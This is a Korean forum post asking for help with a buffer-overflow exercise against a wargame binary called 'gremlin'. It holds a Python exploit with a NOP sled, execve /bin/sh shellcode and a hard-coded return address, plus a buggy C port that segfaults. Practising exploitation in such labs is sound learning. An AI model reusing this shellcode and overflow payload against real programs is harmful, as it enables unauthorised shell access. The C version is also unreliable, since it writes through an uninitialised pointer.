|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=2014 [복사]
import os
# 타겟 파일 경로
TARGET = os.getcwd() + "/gremlin"
# NOP 슬라이드
payload = "\x90" * 200
# 쉘코드 추가
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = payload + SHELLCODE
# 추가 NOP 슬라이드
payload = payload + "\x90" * 35
# 리턴 주소 추가 (시스템에 맞게 수정 필요)
RET_ADDR = "\x60\xfd\xff\xbf"
payload = payload + RET_ADDR
# execv 호출
os.execv(TARGET, (TARGET, payload))
파이썬 1.5.2의 기준으로 익스플로잇 코드를 작성하는 건 했습니다.
그런데 C로 작성하니 세그멘테이션 오류(core dumped)가 뜹니다.
아래는 제가 C로 작성한 코드인데요.
[gate@localhost gate]$ cat exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char *target = "/home/gate/gremlin";
char payload[300];
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret_addr[] = "\x60\xfd\xff\xbf";
char *c_argv[1024];
memset(payload, 0x90, 200); // NOP 슬라이드 (0x90)
memcpy(payload + 200, shellcode, sizeof(shellcode) - 1); // 쉘코드를 NOP 슬라이드 뒤에 추가
memset(payload + 200 + sizeof(shellcode) - 1, 0x90, 35); // 추가 NOP 슬라이드
memcpy(payload + 200 + sizeof(shellcode) - 1 + 35, ret_addr, 4);
strcpy(c_argv[0], target);
strcpy(payload, target);
c_argv[2] = NULL;
execv(target, c_argv);
return 0;
}
[gate@localhost gate]$ gcc -o exploit exploit.c
[gate@localhost gate]$ ./exploit
Segmentation fault (core dumped)
[gate@localhost gate]$
어디가 문제인지 알려주시면 감사하겠습니다...
|
Hit : 1383 Date : 2024/09/18 04:15
|
1576, 
1/79 
